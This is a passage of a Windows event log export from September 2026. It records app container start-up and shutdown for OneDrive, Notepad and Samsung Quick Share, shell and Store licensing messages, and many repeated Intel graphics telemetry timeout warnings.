Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:00.864\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:00.890\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:00.892\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:00.897\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:01:05.996\t217\tDestroyed Desktop AppX container {245CDE8F-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:12.701\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:12.704\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.027\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.472\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.694\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:13.734\t217\tDestroyed Desktop AppX container {245CDE80-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:13.740\t217\tDestroyed Desktop AppX container {245CDE85-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:13.741\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:13.742\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:14.251\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:14.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:15.141\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:15.363\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.036\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.111\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:16.132\t210\tCreated Desktop AppX container {245CDE94-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.132\t211\tAdded process 9136 to Desktop AppX container 245cde94-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.188\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:16.213\t210\tCreated Desktop AppX container {245CDE99-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.213\t211\tAdded process 16140 to Desktop AppX container 245cde99-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.259\t210\tCreated Desktop AppX container {245CDE9E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.259\t211\tAdded process 6036 to Desktop AppX container 245cde9e-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:16.482\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.705\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:16.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:17.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:17.701\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:17.704\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:21.375\t217\tDestroyed Desktop AppX container {245CDE9E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:21.585\t210\tCreated Desktop AppX container {245CDEA3-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:21.585\t211\tAdded process 16184 to Desktop AppX container 245cdea3-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:30.684\t300\tCompositor Type: 1WINWORDP1: %3P2: %4P3: %5P4: %6\tInformation\tOAlerts\tMicrosoft Office 16 Alerts\n05.09.2026 09:01:31.355\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:31.360\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:31.794\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:32.349\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:33.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:33.080\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.105\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.107\t28117\tShortcut for application WINWORD.EXE - Shortcut with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x10 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.112\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.115\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:01:33.121\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:01:33.910\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:34.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:35.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:35.244\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:35.467\t217\tDestroyed Desktop AppX container {245CDE94-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:35.624\t217\tDestroyed Desktop AppX container {245CDEA3-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:35.630\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:35.631\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:01:35.631\t217\tDestroyed Desktop AppX container {245CDE99-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:35.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:36.470\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:36.693\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:36.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:37.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:38.259\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:38.707\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:38.929\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:39.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:40.484\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:41.039\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:41.485\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:42.380\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:42.603\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:42.826\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.044\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.600\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:43.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:44.046\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.043\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.254\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.468\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:45.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.195\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.854\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:01:47.860\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:04.709\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:04.714\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:04.924\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:06.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:07.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:07.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:07.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.661\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:08.877\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:09.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:09.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:09.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:10.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:10.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:11.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:11.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:11.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:12.180\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:12.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 